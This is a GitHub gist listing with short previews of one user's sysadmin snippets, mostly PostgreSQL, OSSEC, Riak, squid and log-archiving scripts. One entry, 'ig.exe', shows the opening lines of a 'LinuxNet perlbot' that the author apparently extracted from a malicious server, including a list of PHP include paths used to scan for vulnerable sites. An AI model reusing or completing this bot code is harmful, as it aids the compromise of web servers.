Skip to content

Instantly share code, notes, and snippets.

View demofly's full-sized avatar

Stanislav O. demofly

View GitHub Profile
@demofly
demofly / install-centos-psql91.sh
Created January 27, 2015 18:52
CentOS 6 PostgreSQL-9.1 server installation cheatsheet
yum localinstall http://yum.postgresql.org/9.1/redhat/rhel-6-x86_64/pgdg-centos91-9.1-4.noarch.rpm
yum install postgresql91 postgresql91-server
service postgresql-9.1 initdb
chkconfig postgresql-9.1 on
service postgresql-9.1 start
su - postgres
/usr/pgsql-9.1/bin/psql
mcedit /var/lib/pgsql/9.1/data/pg_hba.conf
@demofly
demofly / Manual.txt
Last active August 29, 2015 14:13
Как настроить автоустановку Windows 7 драйверов по клику на сетевой принтер для HP LJ CP1215 на Qnap TS559 (samba+cups)
Для нормальной работы на моем Qnap нужно временно поставить сторонний софт
ipkg install samba34
ipkg install cups
После достижения конечной цели - следует снести!
1. Берем ноут с виндой и воткнутым настроенным расшаренным принтером.
Заходим в свойства и в разделе "Доступ" -> "Дополнительные драйверы", проставляем галочки на x86 и x64. Кормим диск с дровами.
@demofly
demofly / ossec-install.sh
Created December 26, 2014 02:16
OSSEC Debian wheezy setup
wget -O - http://ossec.alienvault.com/repos/apt/conf/ossec-key.gpg.key | apt-key add -
echo "deb http://ossec.alienvault.com/repos/apt/debian wheezy main" > /etc/apt/sources.list.d/ossec.list
apt-get update
apt-get install ossec-hids-agent ossec-hids
@demofly
demofly / memcache-buckets.sh
Created December 2, 2014 18:02
Riak memcache init.d commands
sleep 1s
curl -XPUT http://127.0.0.1:8098/buckets/memcache_15min/props \
-H "Content-Type: application/json" \
-d '{"props":{"backend":"memcache_15min"}}'
curl -XPUT http://127.0.0.1:8098/buckets/memcache_30min/props \
-H "Content-Type: application/json" \
-d '{"props":{"backend":"memcache_30min"}}'
@demofly
demofly / app.config
Created December 2, 2014 18:00
Riak memcache backend configuration
%% Riak KV config
{riak_kv, [
%% Storage_backend specifies the Erlang module defining the storage
%% mechanism that will be used on this node.
%% {storage_backend, riak_kv_bitcask_backend},
{storage_backend, riak_kv_multi_backend},
{multi_backend_default, <<"eleveldb_mult">>},
{multi_backend, [
{<<"eleveldb_mult">>, riak_kv_eleveldb_backend, [
@demofly
demofly / ig.exe
Created November 25, 2014 22:16
LinuxNet perlbot, extracted from http://88.150.140.66/ig.exe
#!/usr/bin/perl
# ------------------------------------------------------------- #
# LinuxNet perlbot #
# ------------------------------------------------------------- #
my $processo = '-';
my @titi = ("index.php?page=","main.php?page=");
@demofly
demofly / scan-available-ciphers.sh
Created November 18, 2014 22:41
A script which allows to get a list of supported ciphers on a given server
#!/usr/bin/env bash
# OpenSSL requires the port number.
SERVER=1.1.1.1:443
DELAY=1
ciphers=$(openssl ciphers 'ALL:eNULL' | sed -e 's/:/ /g')
# ========= main =============
echo Obtaining cipher list from $(openssl version).
@demofly
demofly / compress-statics.sh
Created November 13, 2014 23:04
Cron job to decrease CPU usage in nginx with gzip_static enabled.
#!/bin/bash
for ext in css js
do
find /var/www -type f -name "*.${ext}" | while read f
do
gzip -c9 "$f" > "$f.gz.new"
diff "$f.gz.new" "$f.gz" 2>/dev/null && rm -f "$f.gz.new" || mv -vf "$f.gz.new" "$f.gz"
done
done
@demofly
demofly / Archive_Logs.ps1
Created October 21, 2014 11:48
Windows 2008 R2 event logs backup script for the task scheduler
$adir = "L:\ARCHIVE"
$subdir = get-date -uformat "%Y.%m.%d"
New-Item -ItemType directory -Path $adir\$subdir | out-null
$elogs = (wevtutil el)
foreach ($i in $elogs)
{
$in = $i -replace " ","_"
@demofly
demofly / squid-tail.sh
Created August 28, 2014 12:42
Squid colored with readable date time tail
#!/bin/bash
color=`echo -e '\e[1;33m'`
rst=`echo -e '\e[0m'`
tail /var/log/squid/access.log -f -n999 | perl -p -e 's/^([0-9\.]*)/"[".localtime($1)."]"/e' | sed -e "s#.*_HIT/.*#${color}&${rst}#"